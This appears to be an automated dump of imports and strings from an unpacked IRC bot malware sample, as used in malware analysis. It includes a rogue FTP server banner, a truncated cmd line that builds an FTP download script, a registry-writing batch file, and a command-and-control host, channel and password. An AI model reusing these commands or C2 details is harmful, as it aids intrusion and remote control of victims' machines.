sub_outside():
	WS2_32.WSAStartup
	WS2_32.WSASocketA
	WS2_32.setsockopt
	WS2_32.ntohs
	WS2_32.ntohl
	WS2_32.closesocket
	WS2_32.WSACleanup
	WS2_32.socket
	WS2_32.WSAGetLastError
	WS2_32.sendto
	KERNEL32.GetTickCount
	WS2_32.inet_addr
	WS2_32.send
	KERNEL32.GetFileAttributesA
	KERNEL32.CreateFileA
	KERNEL32.CreateThread
	KERNEL32.Sleep
	NTDLL.RtlGetLastWin32Error
	WS2_32.bind
	WS2_32.recv
	KERNEL32.CloseHandle
	IPHLPAPI.IcmpCreateFile
	WS2_32.gethostbyname
	IPHLPAPI.IcmpSendEcho
	IPHLPAPI.IcmpCloseHandle
	WININET.InternetOpenUrlA
	WININET.InternetCloseHandle
	WS2_32.connect
	SHELL32.ShellExecuteA
	WS2_32.getsockname
	WS2_32.inet_ntoa
	WS2_32.gethostbyaddr
	DNSAPI.DnsFlushResolverCache
	KERNEL32.ExitProcess
	KERNEL32.CreateToolhelp32Snapshot
	KERNEL32.Process32First
	KERNEL32.Process32Next
	KERNEL32.Module32First
	KERNEL32.GetLocaleInfoA
	KERNEL32.GetVersionExA
	KERNEL32.GetVersion
	KERNEL32.LCMapStringW
	KERNEL32.MultiByteToWideChar
	KERNEL32.WideCharToMultiByte
	KERNEL32.UnhandledExceptionFilter
	KERNEL32.GetEnvironmentStringsW
	KERNEL32.GetEnvironmentStringsA
	KERNEL32.FreeEnvironmentStringsW
	KERNEL32.GetStringTypeW
	KERNEL32.SetUnhandledExceptionFilter
	KERNEL32.CompareStringW
	KERNEL32.CompareStringA
sub_40878B(019e):
	"%sKB"
	"failed"
sub_40787D(04c3):
	KERNEL32.GetTickCount

	"%dd %dh %dm"
sub_40FB84(04fb):
	WS2_32.inet_ntoa
	KERNEL32.CreateThread
	KERNEL32.Sleep
	KERNEL32.CloseHandle
	WS2_32.ntohl
sub_40318D(09ff):
	WS2_32.WSAStartup
	WS2_32.socket
	WS2_32.setsockopt
	WS2_32.ioctlsocket
	WS2_32.ntohs
	WS2_32.bind
	WS2_32.listen
	WS2_32.select
	WS2_32.__WSAFDIsSet
	WS2_32.accept
	WS2_32.send
	WS2_32.recv
	WS2_32.closesocket

	"220 fuckFtpd 0wns j0\n"
	"%s %s"
	"USER"
	"331 Password required\n"
	"PASS"
	"230 User logged in.\n"
	"SYST"
	"215 fuckFtpd\n"
	"REST"
	"350 Restarting.\n"
	"257 \"/\" is current directory.\n"
	"TYPE"
	"A"
	"200 Type set to A.\n"
	"TYPE"
	"I"
	"200 Type set to I.\n"
	"PASV"
	"425 Passive not supported on this serve"...
	"LIST"
	"226 Transfer complete\n"
	"PORT"
	"%*s %[^,],%[^,],%[^,],%[^,],%[^,],%[^\n]"...
	"%x%x\n"
	"%s.%s.%s.%s"
	"200 PORT command successful.\n"
	"RETR"
	"150 Opening BINARY mode data connection"...
	"226 Transfer complete.\n"
	"425 Can't open data connection.\n"
	"QUIT"
	"221 Goodbye happy r00ting.\n"
sub_40E6A9(0b6c):
	ADVAPI32.OpenSCManagerA
	ADVAPI32.EnumServicesStatusA
	NTDLL.RtlGetLastWin32Error
	ADVAPI32.CloseServiceHandle

	"The following	Windows	services are regi"...
	"	 Unknown"
	"	 Paused"
	"    Pausing"
	" Continuing"
	"	 Running"
	"    Stoping"
	"   Starting"
	"    Stopped"
	"%s: %s (%s)"
sub_4195E1(0e35):
	KERNEL32.LoadLibraryA

	"user32.dll"
	"MessageBoxA"
	"GetActiveWindow"
	"GetLastActivePopup"
sub_406977(1718):
	"Kernel32.dll failed. <%d>"
	"User32.dll failed. <%d>"
	"Advapi32.dll failed. <%d>"
	"Gdi32.dll failed. <%d>"
	"Ws2_32.dll failed. <%d>"
	"Wininet.dll failed. <%d>"
	"Icmp.dll failed. <%d>"
	"Netapi32.dll failed. <%d>"
	"Dnsapi.dll failed. <%d>"
	"Iphlpapi.dll failed. <%d>"
	"Mpr32.dll failed. <%d>"
	"Shell32.dll failed. <%d>"
	"Odbc32.dll failed. <%d>"
sub_407261(17b6):
	KERNEL32.CreateFileA
	KERNEL32.CloseHandle

	"@echo off\r\nEcho REGEDIT4>%temp%\\1.reg\r\n"...
	"c:\\av3.bat"
sub_417C59(1b25):
	"..."
	"Runtime Error!\n\nProgram: "
	"\n\n"
	"Microsoft Visual C++ Runtime Library"
sub_402B8D(1dd9):
	WS2_32.socket
	WS2_32.ntohs
	WS2_32.inet_addr
	WS2_32.connect
	WS2_32.closesocket
	KERNEL32.Sleep

	"cmd /k echo open %s %d > o&echo user 1 "...
sub_4053D6(22a3):
	"%d.%d.%d.%d"
sub_407C50(23e7):
	WININET.InternetGetConnectedStateExA

	"[NETINFO]: [Type]: %s	(%s). [IP Address"...
sub_404F83(28ed):
	WS2_32.inet_ntoa
sub_40FAB7(2fa7):
	WS2_32.ntohs
	WS2_32.socket
	WS2_32.connect
	WS2_32.inet_ntoa
	WS2_32.closesocket
sub_40550F(3ab6):
	KERNEL32.GetTickCount
	WS2_32.inet_ntoa
	NTDLL.RtlEnterCriticalSection
	NTDLL.RtlLeaveCriticalSection
	KERNEL32.Sleep
	WS2_32.inet_addr
	NTDLL.RtlDeleteCriticalSection
	KERNEL32.InitializeCriticalSectionAndSpinCount
	KERNEL32.CreateThread
	NTDLL.RtlGetLastWin32Error

	"asn1http"
sub_40538E(3b1d):
	WS2_32.ntohl
sub_40E9DB(3fe3):
	ADVAPI32.IsValidSecurityDescriptor

	"Share	name:	 Resource:		 "...
	"Yes"
	"No"
	"%-14S %-24S %-6u %-4s"
sub_40F67C(41f8):
	KERNEL32.CloseHandle
sub_407013(4292):
	KERNEL32.SearchPathA
	KERNEL32.CreateFileA
	KERNEL32.CloseHandle

	"explorer.exe"
sub_414942(45d6):
	"KERNEL32"
	"IsProcessorFeaturePresent"
sub_414A69(502f):
	"e+000"
sub_4134D6(55e5):
	KERNEL32.HeapCreate
	KERNEL32.HeapDestroy
sub_41357B(597c):
	KERNEL32.VirtualFree
	NTDLL.RtlFreeHeap
sub_408743(5b85):
	KERNEL32.GetDiskFreeSpaceExA
sub_410C83(5c3f):
	NTDLL.RtlFreeHeap
sub_402AD2(5f99):
	WS2_32.send

	"GET /	HTTP/1.0\r\nHost: %s\r\nAuthorization"...
sub_4169A2(6091):
	KERNEL32.SetFilePointer
	NTDLL.RtlGetLastWin32Error
sub_41966A(60b5):
	NTDLL.RtlAllocateHeap
sub_419DB1(6338):
	"1#SNAN"
	"1#IND"
	"1#INF"
	"1#QNAN"
sub_40E52B(6353):
	"The specified	service	name is	invalid."
	"The requested	control	code is	undefined"...
	"The handle is	invalid."
	"The handle does not have the required	a"...
	"The service binary file could	not be fo"...
	"The service cannot be	stopped	because	o"...
	"The database is locked."
	"A thread could not be	created	for the	s"...
	"The process for the service was started"...
	"The requested	control	code is	not valid"...
	"An instance of the service is	already	r"...
	"The system is	shutting down."
	"An unknown error occurred: <%ld>"
sub_413C60(64eb):
	KERNEL32.VirtualAlloc
sub_41807C(66df):
	KERNEL32.WideCharToMultiByte
sub_415698(6954):
	NTDLL.RtlSizeHeap
sub_404134(6b6d):
	WS2_32.send
	KERNEL32.FindFirstFileA
	KERNEL32.FindNextFileA
	KERNEL32.Sleep

	"\n"
	"PRIVMSG %s :Searching	for: %s\r\n"
	"\r\n\r\nIndex of %s</TIT"...
	"<H1>Index of %s</H1>\r\n<TABLE BORDER=\"0\""...
	"<TR>\r\n<TD WIDTH=\"%d\"><CODE>Name</CODE><"...
	"<TR>\r\n<TD COLSPAN=\"3\"><HR></TD>\r\n</TR>\r"...
	"<TR>\r\n<TD COLSPAN=\"3\"><A HREF=\"%s\"><COD"...
	".."
	"."
	"PM"
	"AM"
	"%2.2d/%2.2d/%4d  %2.2d:%2.2d %s"
	"<%s>"
	"PRIVMSG %s :%-31s  %-21s\n"
	"<TR>\r\n<TD WIDTH=\"%d\"><A HREF=\""
	"%s%s/"
	"\"><CODE>%.29s>/</CODE></A>"
	"\"><CODE>%s/</CODE></A>"
	"</TD>\r\n<TD WIDTH=\"%d\"><CODE>%s</CODE></"...
	"<%s>"
	"%-31s  %-21s\r\n"
	"PRIVMSG %s :%-31s  %-21s (%s bytes)\n"
	"<TR>\r\n<TD WIDTH=\"%d\"><A HREF=\""
	"%s%s"
	"\"><CODE>%.30s></CODE></A>"
	"\"><CODE>%s</CODE></A>"
	"</TD>\r\n<TD WIDTH=\"%d\"><CODE>%s</CODE></"...
	"%-31s  %-21s (%i bytes)\r\n"
	"PRIVMSG %s :Found %s Files and %s Direc"...
	"<TR>\r\n<TD COLSPAN=\"3\"><HR></TD>\r\n</TR>\r"...
	"Found: %i Files and %i Directories\r\n"
</font></pre></td></tr><tr id="sub_4026F4"><td><pre><a name="sub_4026F4"></a><a href="5bcdb5fde7580695028f471fb4df2077_unpacked.asm.html#sub_4026F4"><font size=+2>sub_4026F4</a>(6e81)</font>:<font color=darkgreen>
	WS2_32.select
	WS2_32.__WSAFDIsSet
	WS2_32.recv</font>
<font color=brown></font></pre></td></tr><tr id="sub_411914"><td><pre><a name="sub_411914"></a><a href="5bcdb5fde7580695028f471fb4df2077_unpacked.asm.html#sub_411914"><font size=+2>sub_411914</a>(6ea8)</font>:<font color=darkgreen>
	KERNEL32.GetLocalTime</font>
<font color=brown></font></pre></td></tr><tr id="sub_405B0A"><td><pre><a name="sub_405B0A"></a><a href="5bcdb5fde7580695028f471fb4df2077_unpacked.asm.html#sub_405B0A"><font size=+2>sub_405B0A</a>(6eca)</font>:<font color=darkgreen>
	WS2_32.socket
	WS2_32.ntohs
	WS2_32.inet_addr
	WS2_32.gethostbyname
	WS2_32.gethostbyaddr
	WS2_32.connect
	WS2_32.inet_ntoa
	KERNEL32.CreateThread
	KERNEL32.Sleep
	WS2_32.recv
	WS2_32.send
	NTDLL.RtlGetLastWin32Error
	WS2_32.closesocket</font>
<font color=brown></font></pre></td></tr><tr id="sub_4100F2"><td><pre><a name="sub_4100F2"></a><a href="5bcdb5fde7580695028f471fb4df2077_unpacked.asm.html#sub_4100F2"><font size=+2>sub_4100F2</a>(6eed)</font>:<font color=darkgreen>
	WS2_32.closesocket</font>
<font color=brown></font></pre></td></tr><tr id="start"><td><pre><a name="start"></a><a href="5bcdb5fde7580695028f471fb4df2077_unpacked.asm.html#start"><font size=+2>start</a>(7039)</font>:<font color=darkgreen>
	KERNEL32.GetTickCount</font>
<font color=brown></font></pre></td></tr><tr id="sub_40F9AB"><td><pre><a name="sub_40F9AB"></a><a href="5bcdb5fde7580695028f471fb4df2077_unpacked.asm.html#sub_40F9AB"><font size=+2>sub_40F9AB</a>(71f8)</font>:<font color=darkgreen>
	KERNEL32.GetTickCount
	USER32.FindWindowA</font>
<font color=brown>
	"mIRC"
</font></pre></td></tr><tr id="sub_40F382"><td><pre><a name="sub_40F382"></a><a href="5bcdb5fde7580695028f471fb4df2077_unpacked.asm.html#sub_40F382"><font size=+2>sub_40F382</a>(770b)</font>:<font color=darkgreen>
	ADVAPI32.LookupPrivilegeValueA
	ADVAPI32.AdjustTokenPrivileges
	KERNEL32.CloseHandle</font>
<font color=brown></font></pre></td></tr><tr id="sub_407348"><td><pre><a name="sub_407348"></a><a href="5bcdb5fde7580695028f471fb4df2077_unpacked.asm.html#sub_407348"><font size=+2>sub_407348</a>(7774)</font>:<font color=darkgreen>
	DNSAPI.DnsFlushResolverCache</font>
<font color=brown></font></pre></td></tr><tr id="sub_40F741"><td><pre><a name="sub_40F741"></a><a href="5bcdb5fde7580695028f471fb4df2077_unpacked.asm.html#sub_40F741"><font size=+2>sub_40F741</a>(7e76)</font>:<font color=darkgreen>
	KERNEL32.GetTickCount</font>
<font color=brown></font></pre></td></tr><tr id="sub_41AECC"><td><pre><a name="sub_41AECC"></a><a href="5bcdb5fde7580695028f471fb4df2077_unpacked.asm.html#sub_41AECC"><font size=+2>sub_41AECC</a>(822d)</font>:<font color=brown>
	"invalid string position"
</font></pre></td></tr><tr id="sub_41ACA0"><td><pre><a name="sub_41ACA0"></a><a href="5bcdb5fde7580695028f471fb4df2077_unpacked.asm.html#sub_41ACA0"><font size=+2>sub_41ACA0</a>(822d)</font>:<font color=brown>
	"string too long"
</font></pre></td></tr><tr id="sub_416300"><td><pre><a name="sub_416300"></a><a href="5bcdb5fde7580695028f471fb4df2077_unpacked.asm.html#sub_416300"><font size=+2>sub_416300</a>(84ec)</font>:<font color=darkgreen>
	KERNEL32.CloseHandle
	NTDLL.RtlGetLastWin32Error</font>
<font color=brown></font></pre></td></tr><tr id="sub_4047B6"><td><pre><a name="sub_4047B6"></a><a href="5bcdb5fde7580695028f471fb4df2077_unpacked.asm.html#sub_4047B6"><font size=+2>sub_4047B6</a>(8591)</font>:<font color=darkgreen>
	KERNEL32.CreateFileA
	KERNEL32.SetFilePointer
	KERNEL32.ReadFile
	WS2_32.send
	WS2_32.WSAGetLastError
	KERNEL32.CloseHandle</font>
<font color=brown></font></pre></td></tr><tr id="sub_410245"><td><pre><a name="sub_410245"></a><a href="5bcdb5fde7580695028f471fb4df2077_unpacked.asm.html#sub_410245"><font size=+2>sub_410245</a>(8732)</font>:<font color=brown>
	"%s: %s stopped. (%d thread(s)	stopped.)"...
	"%s: No %s thread found."
</font></pre></td></tr><tr id="sub_40E367"><td><pre><a name="sub_40E367"></a><a href="5bcdb5fde7580695028f471fb4df2077_unpacked.asm.html#sub_40E367"><font size=+2>sub_40E367</a>(8886)</font>:<font color=darkgreen>
	WS2_32.send
	KERNEL32.Sleep</font>
<font color=brown>
	"NOTICE"
	"PRIVMSG"
	"%s"
</font></pre></td></tr><tr id="sub_40EC42"><td><pre><a name="sub_40EC42"></a><a href="5bcdb5fde7580695028f471fb4df2077_unpacked.asm.html#sub_40EC42"><font size=+2>sub_40EC42</a>(893c)</font>:<font color=brown>
	"Account: %S"
	"Full Name:	%S"
	"User Comment: %S"
	"Comment: %S"
	"Unknown"
	"Administrator"
	"User"
	"Guest"
	"Privilege Level: %s"
	"Auth Flags: %d"
	"Home Directory: %S"
	"Parameters: %S"
	"Password Age: %d"
	"Bad Password Count: %d"
	"Number of Logins: %d"
	"Last Logon: %d"
	"Last Logoff: %d"
	"Logon Server: %S"
	"Country	Code: %d"
	"User's Language: %d"
	"Max. Storage: %d"
</font></pre></td></tr><tr id="sub_405982"><td><pre><a name="sub_405982"></a><a href="5bcdb5fde7580695028f471fb4df2077_unpacked.asm.html#sub_405982"><font size=+2>sub_405982</a>(8a95)</font>:<font color=darkgreen>
	WS2_32.ntohs
	WS2_32.socket
	WS2_32.WSAAsyncSelect
	WS2_32.bind
	WS2_32.listen
	WS2_32.accept
	WS2_32.inet_ntoa
	KERNEL32.CreateThread
	KERNEL32.Sleep
	NTDLL.RtlGetLastWin32Error
	WS2_32.closesocket</font>
<font color=brown></font></pre></td></tr><tr id="sub_4111B0"><td><pre><a name="sub_4111B0"></a><a href="5bcdb5fde7580695028f471fb4df2077_unpacked.asm.html#sub_4111B0"><font size=+2>sub_4111B0</a>(8af0)</font>:<font color=darkgreen>
	NTDLL.RtlUnwind</font>
<font color=brown></font></pre></td></tr><tr id="sub_40E8A5"><td><pre><a name="sub_40E8A5"></a><a href="5bcdb5fde7580695028f471fb4df2077_unpacked.asm.html#sub_40E8A5"><font size=+2>sub_40E8A5</a>(8cdb)</font>:<font color=darkgreen>
	KERNEL32.WideCharToMultiByte</font>
<font color=brown></font></pre></td></tr><tr id="sub_406F56"><td><pre><a name="sub_406F56"></a><a href="5bcdb5fde7580695028f471fb4df2077_unpacked.asm.html#sub_406F56"><font size=+2>sub_406F56</a>(8e50)</font>:<font color=darkgreen>
	USER32.OpenClipboard
	USER32.GetClipboardData
	KERNEL32.GlobalLock
	KERNEL32.GlobalUnlock
	USER32.CloseClipboard</font>
<font color=brown></font></pre></td></tr><tr id="sub_41249F"><td><pre><a name="sub_41249F"></a><a href="5bcdb5fde7580695028f471fb4df2077_unpacked.asm.html#sub_41249F"><font size=+2>sub_41249F</a>(91cb)</font>:<font color=darkgreen>
	KERNEL32.GetFileAttributesA
	NTDLL.RtlGetLastWin32Error</font>
<font color=brown></font></pre></td></tr><tr id="sub_407357"><td><pre><a name="sub_407357"></a><a href="5bcdb5fde7580695028f471fb4df2077_unpacked.asm.html#sub_407357"><font size=+2>sub_407357</a>(92a8)</font>:<font color=darkgreen>
	IPHLPAPI.GetIpNetTable
	IPHLPAPI.DeleteIpNetEntry</font>
<font color=brown></font></pre></td></tr><tr id="sub_4192E6"><td><pre><a name="sub_4192E6"></a><a href="5bcdb5fde7580695028f471fb4df2077_unpacked.asm.html#sub_4192E6"><font size=+2>sub_4192E6</a>(93cd)</font>:<font color=darkgreen>
	KERNEL32.CreateFileA
	KERNEL32.CloseHandle
	NTDLL.RtlGetLastWin32Error</font>
<font color=brown></font></pre></td></tr><tr id="sub_4128E9"><td><pre><a name="sub_4128E9"></a><a href="5bcdb5fde7580695028f471fb4df2077_unpacked.asm.html#sub_4128E9"><font size=+2>sub_4128E9</a>(95ea)</font>:<font color=darkgreen>
	KERNEL32.MultiByteToWideChar
	NTDLL.RtlGetLastWin32Error</font>
<font color=brown></font></pre></td></tr><tr id="sub_403790"><td><pre><a name="sub_403790"></a><a href="5bcdb5fde7580695028f471fb4df2077_unpacked.asm.html#sub_403790"><font size=+2>sub_403790</a>(9713)</font>:<font color=darkgreen>
	WS2_32.WSAStartup
	WS2_32.socket
	WS2_32.inet_addr
	WS2_32.ntohs
	WS2_32.connect
	WS2_32.closesocket
	WS2_32.WSACleanup</font>
<font color=brown></font></pre></td></tr><tr id="sub_402773"><td><pre><a name="sub_402773"></a><a href="5bcdb5fde7580695028f471fb4df2077_unpacked.asm.html#sub_402773"><font size=+2>sub_402773</a>(981b)</font>:<font color=darkgreen>
	WS2_32.ntohl
	WS2_32.send</font>
<font color=brown></font></pre></td></tr><tr id="sub_4189E7"><td><pre><a name="sub_4189E7"></a><a href="5bcdb5fde7580695028f471fb4df2077_unpacked.asm.html#sub_4189E7"><font size=+2>sub_4189E7</a>(9a80)</font>:<font color=darkgreen>
	KERNEL32.MultiByteToWideChar</font>
<font color=brown></font></pre></td></tr><tr id="sub_40F190"><td><pre><a name="sub_40F190"></a><a href="5bcdb5fde7580695028f471fb4df2077_unpacked.asm.html#sub_40F190"><font size=+2>sub_40F190</a>(9bb4)</font>:<font color=brown>
	"Invalid parameter."
	"Server name not found."
	"This network request is not supported."
	"Not enough memory."
	"The name is invalid."
	"Duplicate share name."
	"Invalid for redirected resource."
	"Device or directory does not exist."
	"Level	parameter is invalid."
	"A general failure occurred in	the netwo"...
	"The operation	is allowed only	on the pr"...
	"The user account already exists."
	"The group already exists."
	"The password is shorter than required	("...
	"An unknown error occurred."
	"The computer name is invalid."
	"Share	not found."
	"The user name	could not be found."
	"Network connection not found."
</font></pre></td></tr><tr id="sub_4089FD"><td><pre><a name="sub_4089FD"></a><a href="5bcdb5fde7580695028f471fb4df2077_unpacked.asm.html#sub_4089FD"><font size=+2>sub_4089FD</a>(9d1f)</font>:<font color=darkgreen>
	WS2_32.closesocket
	WS2_32.WSACleanup
	KERNEL32.Sleep
	KERNEL32.CloseHandle
	KERNEL32.ExitProcess
	KERNEL32.GetTickCount
	KERNEL32.SetErrorMode
	WS2_32.WSAStartup
	KERNEL32.GetFileAttributesA
	KERNEL32.CopyFileA
	NTDLL.RtlGetLastWin32Error
	KERNEL32.CreateThread</font>
<font color=brown>
	"ids44433"
	"dd.mybn.us"
	"#dd"
	"dpass"
	"dd.mybn.us"
	"#dd"
	"dpass"
	"dpass"
</font></pre></td></tr><tr id="sub_4070B7"><td><pre><a name="sub_4070B7"></a><a href="5bcdb5fde7580695028f471fb4df2077_unpacked.asm.html#sub_4070B7"><font size=+2>sub_4070B7</a>(9dbe)</font>:<font color=darkgreen>
	USER32.ExitWindowsEx</font>
<font color=brown>
	"SeShutdownPrivilege"
</font></pre></td></tr><tr id="sub_402892"><td><pre><a name="sub_402892"></a><a href="5bcdb5fde7580695028f471fb4df2077_unpacked.asm.html#sub_402892"><font size=+2>sub_402892</a>(a2f7)</font>:<font color=darkgreen>
	WS2_32.send</font>
<font color=brown></font></pre></td></tr><tr id="sub_40799C"><td><pre><a name="sub_40799C"></a><a href="5bcdb5fde7580695028f471fb4df2077_unpacked.asm.html#sub_40799C"><font size=+2>sub_40799C</a>(a34c)</font>:<font color=darkgreen>
	KERNEL32.GetVersionExA
	ADVAPI32.GetUserNameA
	WS2_32.inet_addr
	WS2_32.gethostbyaddr</font>
<font color=brown>
	"95"
	"NT"
	"98"
	"ME"
	"2K"
	"XP"
	"2003"
	"couldn't resolve host"
	"dd:MMM:yyyy"
	"HH:mm:ss"
	"[SYSINFO]: [CPU]: %I64uMHz. [RAM]: %sKB"...
</font></pre></td></tr><tr id="sub_404EB9"><td><pre><a name="sub_404EB9"></a><a href="5bcdb5fde7580695028f471fb4df2077_unpacked.asm.html#sub_404EB9"><font size=+2>sub_404EB9</a>(a6b1)</font>:<font color=brown>
	" %s:	%d,"
	" Total: %d in %s."
</font></pre></td></tr><tr id="sub_405472"><td><pre><a name="sub_405472"></a><a href="5bcdb5fde7580695028f471fb4df2077_unpacked.asm.html#sub_405472"><font size=+2>sub_405472</a>(a6ca)</font>:<font color=darkgreen>
	WS2_32.socket
	WS2_32.ntohs
	WS2_32.ioctlsocket
	WS2_32.connect
	WS2_32.select
	WS2_32.closesocket</font>
<font color=brown></font></pre></td></tr><tr id="sub_4078E6"><td><pre><a name="sub_4078E6"></a><a href="5bcdb5fde7580695028f471fb4df2077_unpacked.asm.html#sub_4078E6"><font size=+2>sub_4078E6</a>(a7c4)</font>:<font color=darkgreen>
	KERNEL32.Sleep</font>
<font color=brown></font></pre></td></tr><tr id="sub_40F010"><td><pre><a name="sub_40F010"></a><a href="5bcdb5fde7580695028f471fb4df2077_unpacked.asm.html#sub_40F010"><font size=+2>sub_40F010</a>(a909)</font>:<font color=brown>
	"Username accounts for	local system:"
	"  %S"
	"Total	users found: %d."
</font></pre></td></tr><tr id="sub_40E489"><td><pre><a name="sub_40E489"></a><a href="5bcdb5fde7580695028f471fb4df2077_unpacked.asm.html#sub_40E489"><font size=+2>sub_40E489</a>(a9bc)</font>:<font color=darkgreen>
	ADVAPI32.OpenSCManagerA
	NTDLL.RtlGetLastWin32Error
	ADVAPI32.OpenServiceA
	ADVAPI32.ControlService
	ADVAPI32.StartServiceA
	ADVAPI32.DeleteService
	ADVAPI32.CloseServiceHandle</font>
<font color=brown></font></pre></td></tr><tr id="sub_417DAC"><td><pre><a name="sub_417DAC"></a><a href="5bcdb5fde7580695028f471fb4df2077_unpacked.asm.html#sub_417DAC"><font size=+2>sub_417DAC</a>(ab89)</font>:<font color=darkgreen>
	NTDLL.RtlGetLastWin32Error</font>
<font color=brown></font></pre></td></tr><tr id="sub_40F6E3"><td><pre><a name="sub_40F6E3"></a><a href="5bcdb5fde7580695028f471fb4df2077_unpacked.asm.html#sub_40F6E3"><font size=+2>sub_40F6E3</a>(ac14)</font>:<font color=darkgreen>
	KERNEL32.GetTickCount</font>
<font color=brown>
	"%s"
</font></pre></td></tr><tr id="sub_41B0FB"><td><pre><a name="sub_41B0FB"></a><a href="5bcdb5fde7580695028f471fb4df2077_unpacked.asm.html#sub_41B0FB"><font size=+2>sub_41B0FB</a>(aeff)</font>:<font color=darkgreen>
	KERNEL32.RaiseException</font>
<font color=brown></font></pre></td></tr><tr id="sub_412B03"><td><pre><a name="sub_412B03"></a><a href="5bcdb5fde7580695028f471fb4df2077_unpacked.asm.html#sub_412B03"><font size=+2>sub_412B03</a>(af5c)</font>:<font color=darkgreen>
	KERNEL32.ExitProcess</font>
<font color=brown></font></pre></td></tr><tr id="sub_40E977"><td><pre><a name="sub_40E977"></a><a href="5bcdb5fde7580695028f471fb4df2077_unpacked.asm.html#sub_40E977"><font size=+2>sub_40E977</a>(afa1)</font>:<font color=darkgreen>
	KERNEL32.MultiByteToWideChar</font>
<font color=brown></font></pre></td></tr><tr id="sub_4038A7"><td><pre><a name="sub_4038A7"></a><a href="5bcdb5fde7580695028f471fb4df2077_unpacked.asm.html#sub_4038A7"><font size=+2>sub_4038A7</a>(b146)</font>:<font color=darkgreen>
	WS2_32.ntohs
	WS2_32.socket
	WS2_32.bind
	WS2_32.listen
	WS2_32.ioctlsocket
	WS2_32.select
	WS2_32.__WSAFDIsSet
	WS2_32.accept
	WS2_32.recv
	WS2_32.closesocket
	WS2_32.WSAGetLastError</font>
<font color=brown>
	"GET	"
	" "
	"\r\n"
</font></pre></td></tr><tr id="sub_4086FA"><td><pre><a name="sub_4086FA"></a><a href="5bcdb5fde7580695028f471fb4df2077_unpacked.asm.html#sub_4086FA"><font size=+2>sub_4086FA</a>(b2db)</font>:<font color=darkgreen>
	KERNEL32.GetDriveTypeA</font>
<font color=brown>
	"RAM"
	"Cdrom"
	"Network"
	"Disk"
	"Invalid"
	"Unknown"
</font></pre></td></tr><tr id="sub_4090B0"><td><pre><a name="sub_4090B0"></a><a href="5bcdb5fde7580695028f471fb4df2077_unpacked.asm.html#sub_4090B0"><font size=+2>sub_4090B0</a>(bc9b)</font>:<font color=darkgreen>
	WS2_32.ntohs
	WS2_32.socket
	WS2_32.connect
	WS2_32.closesocket
	KERNEL32.Sleep</font>
<font color=brown></font></pre></td></tr><tr id="sub_409218"><td><pre><a name="sub_409218"></a><a href="5bcdb5fde7580695028f471fb4df2077_unpacked.asm.html#sub_409218"><font size=+2>sub_409218</a>(c24e)</font>:<font color=darkgreen>
	WS2_32.send
	WS2_32.closesocket
	KERNEL32.Sleep
	WS2_32.recv</font>
<font color=brown>
	"PASS	%s\r\n"
</font></pre></td></tr><tr id="sub_4165C4"><td><pre><a name="sub_4165C4"></a><a href="5bcdb5fde7580695028f471fb4df2077_unpacked.asm.html#sub_4165C4"><font size=+2>sub_4165C4</a>(c6bf)</font>:<font color=darkgreen>
	KERNEL32.ReadFile
	NTDLL.RtlGetLastWin32Error</font>
<font color=brown></font></pre></td></tr><tr id="sub_40E321"><td><pre><a name="sub_40E321"></a><a href="5bcdb5fde7580695028f471fb4df2077_unpacked.asm.html#sub_40E321"><font size=+2>sub_40E321</a>(c85a)</font>:<font color=darkgreen>
	WS2_32.send</font>
<font color=brown></font></pre></td></tr><tr id="sub_40801D"><td><pre><a name="sub_40801D"></a><a href="5bcdb5fde7580695028f471fb4df2077_unpacked.asm.html#sub_40801D"><font size=+2>sub_40801D</a>(c8ef)</font>:<font color=darkgreen>
	ADVAPI32.RegCreateKeyExA
	ADVAPI32.RegSetValueExA
	ADVAPI32.RegDeleteValueA
	ADVAPI32.RegCloseKey</font>
<font color=brown></font></pre></td></tr><tr id="sub_410F0C"><td><pre><a name="sub_410F0C"></a><a href="5bcdb5fde7580695028f471fb4df2077_unpacked.asm.html#sub_410F0C"><font size=+2>sub_410F0C</a>(cba9)</font>:<font color=darkgreen>
	NTDLL.RtlUnwind</font>
<font color=brown></font></pre></td></tr><tr id="sub_413BAF"><td><pre><a name="sub_413BAF"></a><a href="5bcdb5fde7580695028f471fb4df2077_unpacked.asm.html#sub_413BAF"><font size=+2>sub_413BAF</a>(cbe8)</font>:<font color=darkgreen>
	NTDLL.RtlReAllocateHeap
	NTDLL.RtlAllocateHeap
	KERNEL32.VirtualAlloc
	NTDLL.RtlFreeHeap</font>
<font color=brown></font></pre></td></tr><tr id="sub_405D8E"><td><pre><a name="sub_405D8E"></a><a href="5bcdb5fde7580695028f471fb4df2077_unpacked.asm.html#sub_405D8E"><font size=+2>sub_405D8E</a>(cf52)</font>:<font color=darkgreen>
	KERNEL32.GetModuleHandleA
	NTDLL.RtlGetLastWin32Error
	KERNEL32.LoadLibraryA
	WININET.InternetOpenA</font>
<font color=brown>
	"kernel32.dll"
	"SetErrorMode"
	"CreateToolhelp32Snapshot"
	"Process32First"
	"GetDiskFreeSpaceExA"
	"GetLogicalDriveStringsA"
	"SearchPathA"
	"QueryPerformanceCounter"
	"QueryPerformanceFrequency"
	"RegisterServiceProcess"
	"user32.dll"
	"SendMessageA"
	"FindWindowA"
	"IsWindow"
	"GetClipboardData"
	"CloseClipboard"
	"advapi32.dll"
	"RegCreateKeyExA"
	"RegSetValueExA"
	"RegQueryValueExA"
	"RegDeleteValueA"
	"RegCloseKey"
	"OpenProcessToken"
	"LookupPrivilegeValueA"
	"AdjustTokenPrivileges"
	"OpenSCManagerA"
	"OpenServiceA"
	"ControlService"
	"CloseServiceHandle"
	"EnumServicesStatusA"
	"IsValidSecurityDescriptor"
	"GetUserNameA"
	"gdi32.dll"
	"CreateDCA"
	"CreateDIBSection"
	"CreateCompatibleDC"
	"GetDIBColorTable"
	"SelectObject"
	"BitBlt"
	"DeleteDC"
	"DeleteObject"
	"ws2_32.dll"
	"WSAStartup"
	"WSASocketA"
	"WSAAsyncSelect"
	"__WSAFDIsSet"
	"WSAIoctl"
	"WSAGetLastError"
	"WSACleanup"
	"socket"
	"ioctlsocket"
	"connect"
	"inet_ntoa"
	"inet_addr"
	"htons"
	"htonl"
	"ntohs"
	"ntohl"
	"send"
	"sendto"
	"recv"
	"recvfrom"
	"bind"
	"select"
	"listen"
	"accept"
	"setsockopt"
	"getsockname"
	"gethostname"
	"getpeername"
	"closesocket"
	"wininet.dll"
	"InternetGetConnectedState"
	"InternetGetConnectedStateEx"
	"HttpOpenRequestA"
	"HttpSendRequestA"
	"InternetConnectA"
	"InternetOpenUrlA"
	"InternetCrackUrlA"
	"InternetReadFile"
	"InternetCloseHandle"
	"Mozilla/4.0 (compatible)"
	"icmp.dll"
	"IcmpCreateFile"
	"IcmpCloseHandle"
	"IcmpSendEcho"
	"netapi32.dll"
	"NetShareAdd"
	"NetShareDel"
